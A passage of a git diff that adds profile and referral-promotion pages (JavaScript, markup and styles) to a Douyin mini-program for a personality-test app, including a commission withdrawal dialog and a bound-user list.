? `/pages/index/result?id=${id}&type=ai` : '/pages/index/result' }) + }, + + logout() { + tt.showModal({ + title: '确认退出', + content: '退出后测试记录仍会保留', + success: (res) => { + if (res.confirm) { + app.logout() + this.setData({ hasLogin: false, userInfo: null, loginFailed: false }) + } + } + }) + }, + + onShareAppMessage() { + const { getSharePathByScope } = require('../../utils/share') + const rm = !!app.globalData.reviewMode + return { + title: '神仙团队性格测试 - 发现你的MBTI类型', + path: getSharePathByScope('/pages/index/index') + } + }, + + onShareTimeline() { + const { buildShareQuery } = require('../../utils/share') + const rm = !!app.globalData.reviewMode + return { + title: '神仙团队性格测试 - 发现你的MBTI类型', + query: buildShareQuery() + } + } +}) diff --git a/douyin-miniprogram/pages/profile/index.json b/douyin-miniprogram/pages/profile/index.json new file mode 100644 index 0000000..2c69765 --- /dev/null +++ b/douyin-miniprogram/pages/profile/index.json @@ -0,0 +1,6 @@ +{ + "navigationBarTitleText": "", + "navigationBarBackgroundColor": "#F9FAFB", + "navigationBarTextStyle": "black", + "usingComponents": {} +} diff --git a/douyin-miniprogram/pages/profile/index.ttml b/douyin-miniprogram/pages/profile/index.ttml new file mode 100644 index 0000000..0e38c45 --- /dev/null +++ b/douyin-miniprogram/pages/profile/index.ttml @@ -0,0 +1,212 @@ + + + + + + 我的 + + + + + + + + + + {{avatarLetter}} + + + + 登录中... + 登录失败,点击重试 + 点击登录 + 登录后查看你的测试结果 + + + + + + + + + + + + {{avatarLetter}} + + + + + + + + {{nicknameDisplay || '点击设置昵称'}} + + + + + {{mbtiType}} + + + {{discType}}型 + + + {{pdpType}} + + + 暂无测试记录 + + + + + + + + + + + + 最新测试 + + 查看全部 + + + + + + + + + 🧠 + + MBTI性格 + {{mbtiType}} + {{mbtiTime}} + + + + + + 📊 + + DISC测评 + {{discType}}型 + {{discTime}} + + + + + + 🦁 + + PDP行为 + {{pdpType}} + {{pdpTime}} + + + + + + 👁️ + + 面相分析 + {{aiType}} + {{aiTime}} + + + + + + + + + + + 📈 + {{promoCenterTitle}} + + + + + 邀请好友 + {{promoTotalInvite}} + + + + 累计收益 + ¥{{promoTotalEarned}} + + + + 可提现 + ¥{{promoWithdrawable}} + + + + + + + + 深度服务 + + + + + 📄 + + + 专业报告 + 解锁完整的深度性格解析 + + + + + + + + + 🏢 + + + 企业版服务 + 团队测评与人才管理方案 + + + + + + + + + 🕒 + + + 测试历史 + {{testCount > 0 ? testCount + '条记录' : '查看过往所有测试记录'}} + + + + + + + + 📋 + + + 我的简历 + 查看与设置默认简历 + + + + + + + + + + diff --git a/douyin-miniprogram/pages/profile/index.ttss b/douyin-miniprogram/pages/profile/index.ttss new file mode 100644 index 0000000..33d810b --- /dev/null +++ b/douyin-miniprogram/pages/profile/index.ttss @@ -0,0 +1,534 @@ +/* pages/profile/index.wxss */ +page { + background-color: #F9FAFB; +} + +.page { + min-height: 100vh; + background-color: #F9FAFB; + padding-bottom: 140rpx; +} + +/* ===== 顶部栏 ===== */ +.topbar { + display: flex; + align-items: center; + justify-content: space-between; + padding: 16rpx 40rpx 24rpx; + background: #F9FAFB; +} + +.topbar-title { + font-size: 48rpx; + font-weight: 700; + color: #111827; + letter-spacing: -0.5rpx; +} + +.topbar-actions { + display: flex; + gap: 12rpx; + align-items: center; +} + +.settings-btn { + width: 72rpx; + height: 72rpx; + display: flex; + align-items: center; + justify-content: center; +} + +.settings-icon { + font-size: 44rpx; + color: #4B5563; +} + +.icon-btn { + width: 72rpx; + height: 72rpx; + border-radius: 50%; + background: transparent; + display: flex; + align-items: center; + justify-content: center; + padding: 0; + border: none; +} + +.icon-btn::after { + border: none; +} + +.icon-text { + font-size: 36rpx; +} + +/* ===== 用户卡片 ===== */ +.user-card { + margin: 0 32rpx 28rpx; + background: #FFFFFF; + border-radius: 28rpx; + padding: 36rpx 32rpx; + display: flex; + align-items: center; + gap: 20rpx; + box-shadow: 0 4rpx 24rpx rgba(0,0,0,0.05); + position: relative; +} + +.user-card:active { + opacity: 0.9; +} + +/* 头像区域(已登录,仅展示) */ +.avatar-wrap { + position: relative; + width: 144rpx; + height: 144rpx; + flex-shrink: 0; + display: flex; + align-items: center; + justify-content: center; +} + +.avatar-ring { + width: 144rpx; + height: 144rpx; + border-radius: 50%; + padding: 4rpx; + background: linear-gradient(135deg, #FFDEE9 0%, #B5FFFC 100%); + display: flex; + align-items: center; + justify-content: center; + flex-shrink: 0; + box-shadow: inset 0 2rpx 10rpx rgba(0,0,0,0.05); + box-sizing: border-box; +} + +.avatar-img { + width: 128rpx; + height: 128rpx; + border-radius: 50%; + border: 4rpx solid #FFFFFF; + display: block; +} + +.avatar-letter-wrap { + width: 128rpx; + height: 128rpx; + border-radius: 50%; + display: flex; + align-items: center; + justify-content: center; + border: 4rpx solid #FFFFFF; +} + +.avatar-letter { + font-size: 64rpx; + font-weight: 700; + color: #FFFFFF; +} + +.online-dot { + position: absolute; + bottom: 8rpx; + right: 8rpx; + width: 28rpx; + height: 28rpx; + background: #22C55E; + border-radius: 50%; + border: 4rpx solid #FFFFFF; + z-index: 10; + pointer-events: none; +} + +/* 用户信息 */ +.user-meta { + flex: 1; + min-width: 0; + display: flex; + flex-direction: column; + justify-content: center; + gap: 8rpx; + padding-left: 12rpx; +} + +.user-name { + font-size: 36rpx; + font-weight: 700; + color: #111827; + display: block; +} + +.user-sub { + font-size: 24rpx; + color: #9CA3AF; +} + +.nickname-text { + font-size: 36rpx; + font-weight: 700; + color: #111827; + line-height: 1.3; + display: block; +} + +/* 类型标签 */ +.tags-scroll { + width: 100%; + white-space: nowrap; +} + +.tags-row { + display: flex; + gap: 10rpx; + flex-wrap: nowrap; +} + +.tag { + display: inline-flex; + align-items: center; + padding: 6rpx 16rpx; + border-radius: 10rpx; + flex-shrink: 0; +} + +.tag-text { + font-size: 20rpx; + font-weight: 600; + white-space: nowrap; +} + +.tag-purple { + background: #EDE9FE; +} +.tag-purple .tag-text { + color: #7C3AED; +} + +.tag-blue { + background: #DBEAFE; +} +.tag-blue .tag-text { + color: #2563EB; +} + +.tag-orange { + background: #FEF3C7; +} +.tag-orange .tag-text { + color: #D97706; +} + +.tag-gray { + background: #F3F4F6; +} +.tag-gray .tag-text { + color: #9CA3AF; +} + +.chevron { + font-size: 48rpx; + color: #D1D5DB; + flex-shrink: 0; +} + +/* ===== Section ===== */ +.section { + margin-bottom: 28rpx; +} + +.px-section { + padding: 0 32rpx; +} + +.section-header { + display: flex; + align-items: center; + justify-content: space-between; + padding: 0 32rpx; + margin-bottom: 20rpx; +} + +.section-title { + font-size: 32rpx; + font-weight: 700; + color: #1F2937; + display: block; + margin-bottom: 20rpx; +} + +.section-header .section-title { + margin-bottom: 0; +} + +.section-link { + display: flex; + align-items: center; +} + +.section-link-text { + font-size: 24rpx; + color: #F43F5E; + font-weight: 500; +} + +/* ===== 测试结果卡片(横向滚动) ===== */ +.cards-scroll { + width: 100%; + white-space: nowrap; +} + +.cards-row { + display: flex; + gap: 24rpx; + padding: 8rpx 32rpx 16rpx; + width: max-content; +} + +.result-card { + width: 280rpx; + height: 240rpx; + border-radius: 24rpx; + padding: 32rpx 28rpx 24rpx; + display: flex; + flex-direction: column; + justify-content: space-between; + position: relative; + overflow: hidden; + box-shadow: 0 4rpx 20rpx rgba(0,0,0,0.06); + border: 1rpx solid rgba(0,0,0,0.04); + background: #FFFFFF; + flex-shrink: 0; +} + +.card-deco { + position: absolute; + top: -24rpx; + right: -24rpx; + width: 120rpx; + height: 120rpx; + border-radius: 50%; + opacity: 0.3; +} + +.card-purple .card-deco { background: #DDD6FE; } +.card-blue .card-deco { background: #BFDBFE; } +.card-orange .card-deco { background: #FDE68A; } +.card-rose .card-deco { background: #FECDD3; } + +.card-icon-wrap { + width: 64rpx; + height: 64rpx; + border-radius: 16rpx; + display: flex; + align-items: center; + justify-content: center; +} + +.card-icon-purple { background: #EDE9FE; } +.card-icon-blue { background: #DBEAFE; } +.card-icon-orange { background: #FEF3C7; } +.card-icon-rose { background: #FFE4E6; } + +.card-icon { + font-size: 32rpx; +} + +.card-label { + font-size: 22rpx; + color: #9CA3AF; + font-weight: 500; +} + +.card-value { + font-size: 44rpx; + font-weight: 800; + letter-spacing: -1rpx; +} + +.card-purple .card-value { color: #7C3AED; } +.card-blue .card-value { color: #2563EB; } +.card-orange .card-value { color: #D97706; } +.card-rose .card-value { color: #E11D48; } + +.card-time { + font-size: 20rpx; + color: #D1D5DB; +} + +.card-time { + font-size: 20rpx; + color: #D1D5DB; +} + +/* ===== 推广中心 ===== */ +.promo-card { + background: #FFFFFF; + border-radius: 32rpx; + padding: 40rpx; + box-shadow: 0 4rpx 24rpx rgba(0,0,0,0.05); + border: 1rpx solid rgba(0,0,0,0.04); +} + +.promo-header { + display: flex; + align-items: center; + margin-bottom: 40rpx; +} + +.promo-title-wrap { + display: flex; + align-items: center; + gap: 12rpx; +} + +.promo-icon { + font-size: 32rpx; +} + +.promo-title { + font-size: 32rpx; + font-weight: 700; + color: #1F2937; +} + +.promo-stats { + display: flex; + justify-content: space-between; + align-items: center; +} + +.promo-stat-item { + flex: 1; + display: flex; + flex-direction: column; + align-items: center; + gap: 8rpx; +} + +.promo-stat-label { + font-size: 24rpx; + color: #9CA3AF; +} + +.promo-stat-value { + font-size: 36rpx; + font-weight: 700; + color: #111827; + font-family: "DIN Alternate", "Courier New", Courier, monospace; +} + +.promo-stat-divider { + width: 1rpx; + height: 60rpx; + background: #F3F4F6; +} + +.promo-highlight { + color: #F43F5E; +} + +/* ===== 服务菜单 ===== */ +.menu-card { + background: #FFFFFF; + border-radius: 24rpx; + overflow: hidden; + box-shadow: 0 4rpx 20rpx rgba(0,0,0,0.05); + border: 1rpx solid rgba(0,0,0,0.04); +} + +.menu-item { + display: flex; + align-items: center; + padding: 32rpx 36rpx; + gap: 28rpx; + position: relative; +} + +.menu-item:active { + background: #F9FAFB; +} + +.menu-divider { + height: 1rpx; + background: #F3F4F6; + margin: 0 36rpx; +} + +.menu-icon-wrap { + width: 80rpx; + height: 80rpx; + border-radius: 50%; + display: flex; + align-items: center; + justify-content: center; + flex-shrink: 0; +} + +.menu-icon-red { background: #FEF2F2; } +.menu-icon-indigo { background: #EEF2FF; } +.menu-icon-amber { background: #FFFBEB; } +.menu-icon-purple { background: #EDE9FE; } + +.menu-icon { + font-size: 36rpx; +} + +.menu-content { + flex: 1; + min-width: 0; +} + +.menu-title { + font-size: 30rpx; + font-weight: 600; + color: #111827; + display: block; + margin-bottom: 6rpx; +} + +.menu-sub { + font-size: 24rpx; + color: #9CA3AF; + display: block; +} + +.menu-chevron { + font-size: 48rpx; + color: #D1D5DB; + flex-shrink: 0; +} + +/* ===== 退出登录按钮 ===== */ +.logout-btn { + width: 100%; + padding: 32rpx; + background: #FFF1F2; + border: 1rpx solid #FFE4E6; + border-radius: 24rpx; + display: flex; + align-items: center; + justify-content: center; + gap: 16rpx; + box-sizing: border-box; +} + +.logout-btn:active { + opacity: 0.8; +} + +.logout-icon { + font-size: 32rpx; +} + +.logout-text { + font-size: 30rpx; + font-weight: 600; + color: #EF4444; +} + +.bottom-safe { + height: 40rpx; +} diff --git a/douyin-miniprogram/pages/promo/index.js b/douyin-miniprogram/pages/promo/index.js new file mode 100644 index 0000000..1835f6b --- /dev/null +++ b/douyin-miniprogram/pages/promo/index.js @@ -0,0 +1,270 @@ +// pages/promo/index.js +const app = getApp() +const { request } = require('../../utils/request') + +Page({ + data: { + balance: '0.00', + totalEarned: '0.00', + pendingAmount: '0.00', + bindingCount: 0, + paidCount: 0, + expiringCount: 0, + activeTab: 0, + userList: [], + listTotal: 0, + listPage: 1, + listLoading: false, + listFinished: false, + commissionRate: '', + bindingDays: '', + testCommissionType: '', + testCommissionRate: '', + testCommissionAmount: '', + testNoPayment: false, + withdrawMinYuan: '1.00', + withdrawMaxYuan: '', + withdrawFeePct: 0, + requireWithdrawAudit: true, + showWithdrawDialog: false, + withdrawAmountInput: '', + withdrawError: '', + withdrawFeeYuan: '0.00', + withdrawActualYuan: '0.00' + }, + + onLoad() { + this.loadStats() + this.loadBindings(true) + }, + + onShow() { + this.loadStats() + }, + + /** 加载推广统计数据 */ + loadStats() { + request({ + url: '/api/distribution/stats', + method: 'GET', + success: (res) => { + const payload = res && res.data + if (payload && payload.code === 200 && payload.data) { + const d = payload.data + const title = d.promoCenterTitle || '推广中心' + tt.setNavigationBarTitle({ title }) + this.setData({ + balance: d.walletBalance, + totalEarned: d.totalEarned, + pendingAmount: d.pendingAmount, + bindingCount: d.bindingCount, + paidCount: d.paidCount, + expiringCount: d.expiringCount, + totalInvite: d.totalInvite, + commissionRate: d.commissionRate, + bindingDays: d.bindingDays, + testCommissionType: d.testCommissionType, + testCommissionRate: d.testCommissionRate, + testCommissionAmount: d.testCommissionAmount, + testNoPayment: d.testNoPayment, + withdrawMinYuan: d.withdrawMinYuan != null ? d.withdrawMinYuan : '1.00', + withdrawMaxYuan: d.withdrawMaxYuan != null && d.withdrawMaxYuan !== '' ? d.withdrawMaxYuan : '', + withdrawFeePct: d.withdrawFeePct != null ? d.withdrawFeePct : 0, + requireWithdrawAudit: d.requireWithdrawAudit !== false, + }) + } + } + }) + }, + + /** 加载绑定用户列表(tab: 0=绑定中 1=已付款 2=已过期) */ + loadBindings(reset = false) { + if (this.data.listLoading) return + if (!reset && this.data.listFinished) return + + const page = reset ? 1 : this.data.listPage + this.setData({ listLoading: true }) + + request({ + url: `/api/distribution/bindings?tab=${this.data.activeTab}&page=${page}&pageSize=10`, + method: 'GET', + success: (res) => { + const payload = res && res.data + if (payload && payload.code === 200 && payload.data) { + const { list, total } = payload.data + const formatted = (list || []).map(item => ({ + ...item, + createdAtStr: item.createdAt ? this._fmtTimestamp(item.createdAt) : '' + })) + const newList = reset ? formatted : [...this.data.userList, ...formatted] + this.setData({ + userList: newList, + listTotal: total, + listPage: page + 1, + listFinished: newList.length >= total, + }) + } + }, + complete: () => { + this.setData({ listLoading: false }) + } + }) + }, + + /** 时间戳格式化为 YYYY-MM-DD */ + _fmtTimestamp(ts) { + if (!ts) return '' + const d = new Date(ts * 1000) + if (isNaN(d.getTime())) return '' + const y = d.getFullYear() + const m = String(d.getMonth() + 1).padStart(2, '0') + const day = String(d.getDate()).padStart(2, '0') + return `${y}-${m}-${day}` + }, + + /** 切换用户列表 Tab */ + switchTab(e) { + const index = parseInt(e.currentTarget.dataset.index) + if (index === this.data.activeTab) return + this.setData({ activeTab: index, userList: [], listPage: 1, listFinished: false }) + this.loadBindings(true) + }, + + /** 上拉加载更多 */ + onReachBottom() { + this.loadBindings(false) + }, + + /** 申请提现:打开自定义金额弹框 */ + handleWithdraw() { + const balance = parseFloat(this.data.balance) + if (balance < 1) { + tt.showToast({ title: '余额不足1元,暂无法提现', icon: 'none' }) + return + } + const pct = this.data.withdrawFeePct || 0 + const feeYuan = (balance * pct / 100).toFixed(2) + const actualYuan = (balance - balance * pct / 100).toFixed(2) + this.setData({ + showWithdrawDialog: true, + withdrawAmountInput: this.data.balance, + withdrawFeeYuan: feeYuan, + withdrawActualYuan: actualYuan, + withdrawError: '' + }) + }, + + /** 关闭提现弹框 */ + closeWithdrawDialog() { + this.setData({ + showWithdrawDialog: false, + withdrawError: '' + }) + }, + + /** 输入金额:实时计算手续费与实际到账 */ + onWithdrawInput(e) { + const raw = e.detail.value + const val = parseFloat(raw) + const pct = this.data.withdrawFeePct || 0 + let feeYuan = '0.00' + let actualYuan = '0.00' + if (raw !== '' && !isNaN(val) && val >= 0) { + const fee = val * pct / 100 + feeYuan = fee.toFixed(2) + actualYuan = (val - fee).toFixed(2) + } + this.setData({ + withdrawAmountInput: raw, + withdrawFeeYuan: feeYuan, + withdrawActualYuan: actualYuan, + withdrawError: '' + }) + }, + + /** 确认提现(使用用户填写的金额) */ + confirmWithdraw() { + const balance = parseFloat(this.data.balance) + const val = parseFloat(this.data.withdrawAmountInput) + const minYuan = parseFloat(this.data.withdrawMinYuan) || 1 + const pct = this.data.withdrawFeePct || 0 + + if (isNaN(val)) { + this.setData({ withdrawError: '请输入正确的金额' }) + return + } + if (val < 1) { + this.setData({ withdrawError: '单次提现金额至少 1 元' }) + return + } + if (val > balance) { + this.setData({ withdrawError: '不可超过当前可提现金额' }) + return + } + const actualYuan = val - val * pct / 100 + if (actualYuan < minYuan) { + this.setData({ withdrawError: `实际到账金额不得低于最低提现金额 ¥${minYuan.toFixed(2)}` }) + return + } + + const amountFen = Math.floor(val * 100) + this.setData({ withdrawError: '' }) + + request({ + url: '/api/distribution/withdraw', + method: 'POST', + data: { amountFen }, + success: (r) => { + const payload = r && r.data + if (payload && payload.code === 200) { + const msg = payload.msg || payload.message || '' + tt.showToast({ title: '申请已提交', icon: 'success' }) + this.setData({ showWithdrawDialog: false }) + this.loadStats() + // 免审核且已自动发起微信转账时,自动进入提现记录页 + if (msg.indexOf('已自动发起') !== -1) { + setTimeout(() => { + tt.navigateTo({ url: '/pages/promo/withdrawals' }) + }, 500) + } + } else { + const errMsg = (payload && (payload.msg || payload.message)) || '申请失败,请稍后重试' + this.setData({ withdrawError: errMsg }) + } + } + }) + }, + + /** 查看提现记录 */ + goToWithdrawHistory() { + tt.navigateTo({ url: '/pages/promo/withdrawals' }) + }, + + /** 生成海报 */ + generatePoster() { + tt.navigateTo({ url: '/pages/promo/poster' }) + }, + + /** 分享到朋友圈:引导用户使用右上角菜单 */ + shareToTimeline() { + tt.showToast({ title: '请点击右上角 ··· 选择「分享到朋友圈」', icon: 'none', duration: 2500 }) + }, + + /** 分享给好友 */ + onShareAppMessage() { + const { getSharePathByScope } = require('../../utils/share') + return { + title: '神仙团队性格测试 - 发现你的内在潜能', + path: getSharePathByScope('/pages/index/index') + } + }, + + /** 分享到朋友圈 */ + onShareTimeline() { + const { buildShareQuery } = require('../../utils/share') + return { + title: '神仙团队性格测试 - 发现你的内在潜能', + query: buildShareQuery() + } + } +}) diff --git a/douyin-miniprogram/pages/promo/index.json b/douyin-miniprogram/pages/promo/index.json new file mode 100644 index 0000000..ac2ccfb --- /dev/null +++ b/douyin-miniprogram/pages/promo/index.json @@ -0,0 +1,5 @@ +{ + "navigationBarTitleText": "推广中心", + "navigationBarBackgroundColor": "#FFFFFF", + "navigationBarTextStyle": "black" +} \ No newline at end of file diff --git a/douyin-miniprogram/pages/promo/index.ttml b/douyin-miniprogram/pages/promo/index.ttml new file mode 100644 index 0000000..7ff64e6 --- /dev/null +++ b/douyin-miniprogram/pages/promo/index.ttml @@ -0,0 +1,219 @@ + + + + + + + + 🧧 + + + 可提现金额 + + + {{commissionRate}}% 高额返利 + + + + + ¥{{balance}} + 累计: ¥{{totalEarned}} | 待审核: ¥{{pendingAmount}} + + + + + + + 查看提现记录 + + + + + + + + 申请提现 + 可提现 ¥{{balance}},请输入本次提现金额 + + + ¥ + + + + 本次最高可提 ¥{{balance}} + + + 手续费 ¥{{withdrawFeeYuan}} + 实际到账 ¥{{withdrawActualYuan}} + + + {{withdrawError}} + + + + 取消 + 确定 + + + + + + + + {{bindingCount}} + 绑定中 + + + {{paidCount}} + 已付款 + + + {{expiringCount}} + 即将过期 + + + {{totalInvite}} + 总邀请 + + + + + + + + 🛡️ + + 推广收益规则 + + + + + 用户绑定有效期为 {{bindingDays}}天,期满自动解除 + + + 💰 + 单笔提现:最低 ¥{{withdrawMinYuan}} + 最高 ¥{{withdrawMaxYuan}} + 不设上限 + + + 📋 + 提现手续费:{{withdrawFeePct}}% + + + + + + + + + 👥 + 绑定用户 + ({{totalInvite}}) + + + + + + + 绑定中 ({{bindingCount}}) + + + 已付款 ({{paidCount}}) + + + 已过期 ({{expiringCount}}) + + + + + + + 🔍 + + 目前还没有绑定的用户哦 + 快去分享链接邀请好友吧 + + + + + + + + + {{item.nickname ? item.nickname[0] : '?'}} + + + + + + {{item.remainDays}}天到期 + 已过期 + 已付款 + + + + + + 加载中... + + + — 已加载全部 — + + + + + + + + + 🎨 + + + 生成推广海报 + 一键生成您的专属精美海报 + + + + + + 💬 + + + 分享到朋友圈 + 通过右上角菜单分享到朋友圈 + + + + + + + + + 分享专属链接,好友通过链接点击后自动绑定 + 购买任意测评即可获得 90% 的现金返利 + + + + diff --git a/douyin-miniprogram/pages/promo/index.ttss b/douyin-miniprogram/pages/promo/index.ttss new file mode 100644 index 0000000..b529a0f --- /dev/null +++ b/douyin-miniprogram/pages/promo/index.ttss @@ -0,0 +1,550 @@ +/* pages/promo/index.wxss */ +page { + background-color: #FFFFFF; +} + +.container { + padding: 32rpx; + background-color: #FFFFFF; +} + +/* ===== 顶部统计卡片 ===== */ +.hero-card { + background: #FFF5F6; + border-radius: 40rpx; + padding: 40rpx; + box-shadow: 0 4rpx 20rpx rgba(0,0,0,0.02); + position: relative; + overflow: hidden; + margin-bottom: 40rpx; +} + +.hero-header-row { + display: flex; + justify-content: space-between; + align-items: flex-start; + margin-bottom: 48rpx; +} + +.hero-left { + display: flex; + align-items: center; + gap: 20rpx; +} + +.wallet-icon { + width: 88rpx; + height: 88rpx; + background: #FFFFFF; + border-radius: 24rpx; + display: flex; + align-items: center; + justify-content: center; + box-shadow: 0 2rpx 10rpx rgba(0,0,0,0.03); +} + +.emoji { font-size: 44rpx; } + +.title-text .label { + font-size: 24rpx; + color: #6B7280; + font-weight: 500; +} + +.badge { + display: flex; + align-items: center; + gap: 6rpx; + margin-top: 6rpx; +} + +.badge .dot { + width: 10rpx; + height: 10rpx; + background: #F43F5E; + border-radius: 50%; +} + +.badge-text { + font-size: 22rpx; + color: #F43F5E; + font-weight: 600; +} + +.hero-right { + text-align: right; +} + +.amount { + font-size: 72rpx; + font-weight: 700; + color: #111827; + line-height: 1; +} + +.amount-sub { + font-size: 22rpx; + color: #9CA3AF; + margin-top: 16rpx; + display: block; +} + +.withdraw-btn { + width: 100%; + height: 104rpx; + background: #F3F4F6; + color: #9CA3AF; + border-radius: 52rpx; + font-size: 30rpx; + font-weight: 600; + display: flex; + align-items: center; + justify-content: center; + margin-bottom: 32rpx; + border: none; +} + +.withdraw-btn::after { border: none; } + +.withdraw-btn:not(.disabled) { + background: #F43F5E; + color: #FFFFFF; +} + +.record-link { + display: flex; + align-items: center; + justify-content: center; + gap: 6rpx; + font-size: 26rpx; + color: #F43F5E; + font-weight: 600; +} + +/* ===== 四格统计 ===== */ +.stats-grid { + display: grid; + grid-template-columns: repeat(4, 1fr); + gap: 24rpx; + margin-bottom: 40rpx; +} + +.stat-item { + background: #FFFFFF; + padding: 28rpx 16rpx; + border-radius: 32rpx; + border: 1rpx solid #F3F4F6; + text-align: center; + box-shadow: 0 4rpx 20rpx rgba(0,0,0,0.04); +} + +.stat-val { + font-size: 40rpx; + font-weight: 800; + color: #111827; + display: block; + margin-bottom: 4rpx; +} + +.stat-val.highlight { color: #F59E0B; } + +.stat-label { + font-size: 22rpx; + color: #6B7280; + font-weight: 500; +} + +/* ===== 通用 Section ===== */ +.section { + background: #FFFFFF; + border-radius: 48rpx; + border: 1rpx solid #F3F4F6; + box-shadow: 0 4rpx 20rpx rgba(0,0,0,0.04); + margin-bottom: 40rpx; + overflow: hidden; +} + +.section-header { + padding: 40rpx; + display: flex; + align-items: center; + gap: 16rpx; +} + +.section-header.border-b { + border-bottom: 1rpx solid #F9FAFB; +} + +.header-icon { + width: 56rpx; + height: 56rpx; + border-radius: 16rpx; + display: flex; + align-items: center; + justify-content: center; +} + +.header-icon.red { background: #FFF1F2; } + +.section-title { + font-size: 28rpx; + font-weight: 800; + color: #111827; +} + +.count-label { + font-size: 24rpx; + color: #9CA3AF; + font-weight: 400; + margin-left: 8rpx; +} + +/* 规则列表 */ +.rule-list { + padding: 0 40rpx 40rpx; + display: flex; + flex-direction: column; + gap: 28rpx; +} + +.rule-item { + display: flex; + gap: 24rpx; + align-items: flex-start; +} + +.rule-bullet { + font-size: 20rpx; + margin-top: 4rpx; +} + +.rule-text { + font-size: 24rpx; + color: #6B7280; + line-height: 1.5; +} + +.highlight { color: #F43F5E; font-weight: 700; } + +/* 用户列表 Tab */ +.tab-bar { + display: flex; + background: #F9FAFB; + margin: 16rpx 32rpx; + padding: 8rpx; + border-radius: 24rpx; +} + +.tab-item { + flex: 1; + text-align: center; + padding: 20rpx 0; + font-size: 24rpx; + color: #6B7280; + font-weight: 500; + border-radius: 16rpx; + transition: all 0.2s; +} + +.tab-item.active { + background: #FFFFFF; + color: #F43F5E; + font-weight: 800; + box-shadow: 0 4rpx 12rpx rgba(0,0,0,0.05); +} + +.empty-state { + padding: 100rpx 80rpx; + text-align: center; + display: flex; + flex-direction: column; + align-items: center; +} + +.empty-icon { + width: 160rpx; + height: 160rpx; + background: linear-gradient(to top right, #F9FAFB, #FFFFFF); + border-radius: 50%; + display: flex; + align-items: center; + justify-content: center; + margin-bottom: 32rpx; + box-shadow: inset 0 2rpx 10rpx rgba(0,0,0,0.02); +} + +.empty-text { + font-size: 28rpx; + color: #9CA3AF; + font-weight: 600; +} + +.empty-sub { + font-size: 20rpx; + color: #D1D5DB; + margin-top: 8rpx; +} + +/* ===== 操作菜单 ===== */ +.menu-card { + background: #FFFFFF; + border-radius: 48rpx; + border: 1rpx solid #F3F4F6; + box-shadow: 0 4rpx 20rpx rgba(0,0,0,0.04); + overflow: hidden; + margin-bottom: 40rpx; +} + +.menu-item { + display: flex; + align-items: center; + padding: 32rpx 40rpx; + border-bottom: 1rpx solid #F9FAFB; + background: #FFFFFF; + text-align: left; + line-height: 1.4; +} + +.menu-item:last-child { border-bottom: none; } + +.menu-item.share-btn { + width: 100%; + margin: 0; + border-radius: 0; +} + +.menu-item.share-btn::after { border: none; } + +.menu-icon-wrap { + width: 88rpx; + height: 88rpx; + border-radius: 32rpx; + display: flex; + align-items: center; + justify-content: center; + margin-right: 32rpx; +} + +.menu-icon-wrap.rose { background: #FFF1F2; color: #F43F5E; } +.menu-icon-wrap.emerald { background: #ECFDF5; color: #10B981; } +.menu-icon-wrap.violet { background: #F5F3FF; color: #8B5CF6; } + +.menu-info { flex: 1; } + +.menu-name { + font-size: 28rpx; + font-weight: 800; + color: #111827; + display: block; +} + +.menu-desc { + font-size: 22rpx; + color: #6B7280; + display: block; + margin-top: 4rpx; +} + +.menu-arrow { + font-size: 36rpx; + color: #D1D5DB; +} + +/* ===== 底部提示 ===== */ +.footer-tip { + padding: 40rpx 60rpx; + text-align: center; +} + +.footer-tip text { + display: block; + font-size: 22rpx; + color: #D1D5DB; + line-height: 1.6; + font-weight: 500; +} + +/* ===== 绑定用户列表条目 ===== */ +.user-item { + display: flex; + align-items: center; + padding: 28rpx 32rpx; + border-bottom: 1rpx solid #F3F4F6; +} +.user-item:last-child { border-bottom: none; } + +.user-avatar { + width: 80rpx; + height: 80rpx; + border-radius: 50%; + flex-shrink: 0; + margin-right: 24rpx; + background: #F3F4F6; +} +.user-avatar-placeholder { + display: flex; + align-items: center; + justify-content: center; + background: #FECDD3; +} +.user-avatar-letter { + font-size: 36rpx; + color: #F43F5E; + font-weight: 700; +} + +.user-info { + flex: 1; + display: flex; + flex-direction: column; + gap: 6rpx; +} +.user-name { + font-size: 28rpx; + font-weight: 600; + color: #1F2937; +} +.user-time { + font-size: 22rpx; + color: #9CA3AF; +} + +.user-badge { + font-size: 22rpx; + font-weight: 600; + padding: 6rpx 18rpx; + border-radius: 20rpx; + flex-shrink: 0; +} +.badge-active { + background: #FEF3C7; + color: #D97706; +} +.badge-paid { + background: #D1FAE5; + color: #059669; +} +.badge-expired { + background: #F3F4F6; + color: #9CA3AF; +} + +/* 列表底部提示 */ +.list-footer { + padding: 32rpx 0; + text-align: center; +} +.list-footer-text { + font-size: 24rpx; + color: #D1D5DB; +} + +.safe-bottom { height: 60rpx; } + +/* ===== 提现金额弹框 ===== */ +.withdraw-mask { + position: fixed; + inset: 0; + background: rgba(15, 23, 42, 0.45); + display: flex; + align-items: center; + justify-content: center; + z-index: 9999; +} + +.withdraw-dialog { + width: 640rpx; + padding: 40rpx 40rpx 32rpx; + border-radius: 32rpx; + background: #ffffff; + box-shadow: 0 24rpx 60rpx rgba(15, 23, 42, 0.25); +} + +.dialog-title { + font-size: 32rpx; + font-weight: 700; + color: #111827; +} + +.dialog-sub { + margin-top: 8rpx; + font-size: 24rpx; + color: #6b7280; +} + +.amount-input-row { + margin-top: 32rpx; + padding: 16rpx 20rpx; + border-radius: 20rpx; + background: #f9fafb; + display: flex; + align-items: center; +} + +.currency { + font-size: 32rpx; + font-weight: 600; + color: #111827; + margin-right: 8rpx; +} + +.amount-input { + flex: 1; + font-size: 32rpx; + font-weight: 600; + color: #111827; +} + +.amount-input::placeholder { + color: #9ca3af; +} + +.amount-hint { + margin-top: 8rpx; + font-size: 22rpx; + color: #9ca3af; +} +.fee-actual-row { + margin-top: 12rpx; + font-size: 24rpx; + color: #6b7280; +} +.fee-actual-row .actual { + margin-left: 24rpx; + color: #059669; + font-weight: 500; +} + +.error-text { + margin-top: 8rpx; + font-size: 22rpx; + color: #dc2626; +} + +.dialog-actions { + margin-top: 32rpx; + display: flex; + gap: 16rpx; +} + +.dialog-actions .btn { + flex: 1; + height: 80rpx; + border-radius: 9999rpx; + display: flex; + align-items: center; + justify-content: center; + font-size: 28rpx; + font-weight: 600; +} + +.dialog-actions .btn.cancel { + background: #f3f4f6; + color: #4b5563; +} + +.dialog-actions .btn.confirm { + background: #f43f5e; + color: #ffffff; +} + diff --git a/douyin-miniprogram/pages/promo/poster.js b/douyin-miniprogram/pages/promo/poster.js new file mode 100644 index 0000000..4562585 --- /dev/null +++ b/douyin-miniprogram/pages/promo/poster.js @@ -0,0 +1,74 @@ +const { getApiBase } = require('../../utils/request') + +Page({ + data: { + loading: true, + loadingText: '正在生成海报...', + posterUrl: '' + }, + + onLoad() { + 